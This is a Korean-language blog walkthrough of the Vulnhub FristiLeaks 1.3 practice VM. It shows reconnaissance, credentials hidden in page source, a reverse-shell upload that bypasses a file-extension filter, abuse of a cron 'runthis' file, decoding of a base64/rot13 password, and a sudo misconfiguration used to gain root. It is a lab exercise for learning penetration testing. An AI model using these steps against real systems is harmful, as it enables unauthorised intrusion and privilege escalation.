Vulnhub

[Vulnhub] FristiLeaks: 1.3 Walkthrough

jeff_kim 2024. 6. 20. 18:29

https://www.vulnhub.com/entry/fristileaks-13,133/

 

FristiLeaks: 1.3

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

실습 환경 : VirtualBox

 

VirtualBox에서 파일 -> 가상머신 가져오기 -> 다운받은 ova 파일 선택 -> 설정 -> 네트워크 -> 어뎁터에 브릿지

이렇게 설정만 해주었고, 특별한 것은 없었습니다. 

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.64
Host is up (0.00020s latency).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
...

 

이번엔 가장 흔히 사용하는 포트 1000개에 대해서 포트 스캐닝을 해보겠습니다

└─$ sudo nmap --top-ports 1000 --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.64 -oA tcp-1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:05 KST
Nmap scan report for 192.168.45.64
Host is up (0.00044s latency).
Not shown: 992 filtered tcp ports (no-response), 7 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

 

유일하게 80번 포트만 열려있다.

└─$ nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open  192.168.45.64 -oA tcpDetailed           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:06 KST
Nmap scan report for 192.168.45.64
Host is up (0.00046s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-methods: 
|_  Potentially risky methods: TRACE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds

robots.txt 가 존재하고 허용되지 않는 엔드포인트는 3개가 있다

 

WEB

대상 호스트의 웹 페이지 페이지 소스에서는 별 다른 점은 없고 주석으로 뭔가 설명하는 글이 적혀있네요

<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA

Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->

robots.txt의 Disallow는 늘 흥미를 불러일으키죠

3개의 엔드포인트는 전부다,,단서가 될만한 것은 없습니다. 페이지 소스에서도 마찬가지였습니다

 

첫 웹사이트 페이지 사진에 나와있는 단어들을 포함시켜 gobuster를 이용하여 디렉터리 브루트포싱을 진행합니다 robots.txt에 있었던 디렉터리는 제외시킵니다

 

└─$ cat dirbrute.txt 
keep
calm
and
drink
fristi

 

 

하나 건졌네요

/fristi 로 접속해봅시다. 혹시 SQL Injection이 될 수도 있으니 ' 를 넣어 테스트해봤는데 취약한점 발견하지 못했다.

페이지 소스를 확인해본 결과

<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

eezeepz 라는 이름을 발견했고, 주석표시된 base64로 인코딩된 코드가 발견되었습니다

<!-- 
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->

base64 디코딩을 해봤지만 아닌거 같았고, https://base64.guru/converter/decode/image 사이트에서 이미지로 변환하는 방법을 사용해 봅니다

이번 실습 VM 제작자는 유쾌하신분 인가봅니다..ㅋㅋㅋ

keKkeKKeKKeKkEkkEk 비밀번호일거같은 느낌이 확왔습니다

# credentials

eezeepz:keKkeKKeKKeKkEkkEk

 

익스플로잇

그러네요 맞습니다. 파일을 업로드하라는 것을 보니 php-reverse-shell.php를 준비해야겠죠?? 바로 준비해서 파일을 업로드해봅시다

그러네요 확장자가 정해져있었어요

└─$ mv php-reverse-shell.php revshell.php.png

확장자를 png로 바꾸고 업로드를하니 성공했습니다. 파일 업로드를하니 파일은 /uploads에 업로드되었다고 친절히 알려주네요

# revse shell listening
└─$ nc -nlvp 3434

 

 

파일 업로드 우회 공격을 통해서 대상 호스트에 초기 침투 까지 완료했습니다

 

권한 상

대상 호스트에 초기 침투까지 완료했습니다. 우선 /etc/passwd 부터 확인을 해줍니다

bash-4.1$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

 

eezeepz, admin,fristgod 등 3개의 유저에 접근할 수 있을 것으로 예상된다

# /home/eezeepz
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

 

해석을 하자면

1. 자동화 체크를 할 수 있게 해놓았는데. /usr/bin 시스템 바이너리에만 접근을 줬다

2. 자주 사용하는 명령어는 Jerry라는 사람의 홈디렉터리에 복사해놨다고 한다 (chmod,df,cat,echo,ps,grep,egrep) 이 명령어는 /home/admin에서 사용가능 -> 꼭 절대 경로로 지정을 해야함

3. /tmp에 runthis 파일을 만들어 명령어를 넣으면,,,,출력은 cronresult 파일로 저장된다. -> 매 분마다 실행되는 cronjob 이다

 

라고 한다

 

bash-4.1$ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
bash-4.1$ cd /tmp; ls
cd /tmp; ls
runthis
bash-4.1$ ls   
ls
runthis

잠깐 대기한 후

bash-4.1$ ls
ls
cronresult  runthis

bash-4.1$ cd /home/admin 
cd /home/admin

접근 권한이 없던 디렉터리인 /home/admin으로 접근 성공했다.

 

bash-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

bash-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

bash-4.1$ cat cryptpass.py 
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

디렉터리에 있는 파일들을 읽어보아하니 암호화된 무언가의 문자 그리고 그것을 인코딩했던 파이썬 코드가 있는것 같다

 

그전에 파이썬 코드를 가져와서 직접 실행 시켜봐야겠다

 

└─$ python2 encode.py mVGZ3O3omkJLmy2pcuTq
=RUI1ATplxKoZc0ng92ZCAwJUMIo
                                                                              
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
UEIFjxRI1yUp6yRHAuHGf52FOOwoTWIC

암호문의 암호문이다. 그렇다면 암호화 시키는 코드를 암호화를 푸는 코드로 변경 후에 실행 시켜본다

 

import base64,codecs,sys

def encodeString(str):
    #encoding
    #base64string= base64.b64encode(str)
    #return codecs.encode(base64string[::-1], 'rot13')
    
    #decoding
    base64decode = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64decode)

cryptoResult=encodeString(sys.argv[1])
print cryptoResult


# 실행
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!

암호회된 문자열을 디코딩한 후에 fristgod 계정의 비밀번호를 획득했다. 

 

이제 얼마 안남은 것 같다

bash-4.1$ cd
cd
bash-4.1$ pwd
pwd
/var/fristigod
bash-4.1$ ls -al
ls -al
total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25  2015 .
drwxr-xr-x. 19 root      root      4096 Nov 19  2015 ..
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Nov 25  2015 .secret_admin_stuff

cd 명령어로 fristigod 유저의 홈디렉터리로 이동한 다음 .bash_history 파일을 한번 흝어본다

/var/fristigod/.secret_admin_stuff/doCom 이 경로에 있는 doCom 은 비밀번호 없이 sudo로 사용이 가능하다 나도 한번 시도해본다

fristi 유저로 실행 시켜야 doCom이 실행되는 것을 확인했다.

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

이렇게 일회성 쉘을 제공하고 한가지를 입력하면 그것이 실행되는것 같다 

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

찾았다. bash_history에서 본 것 같이 뒤에 명령어를 붙이면 관리자 권한으로 명령어가 실행된다. sudo를 정상적으로 사용할 수 있으니 당연한 것인가...?

 

우선 그렇다면 이제 이 문제는 다 풀었다.

이렇게 하면 관리자 권한의 쉘을 획득할 수 있다.

 

홈 디렉터리를 확인해보라고하고 매우 중요하니 삭제하지 말라고합니다

 

bash-4.1# cd /root
cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: 이 플래그는 제가 가져갑니다!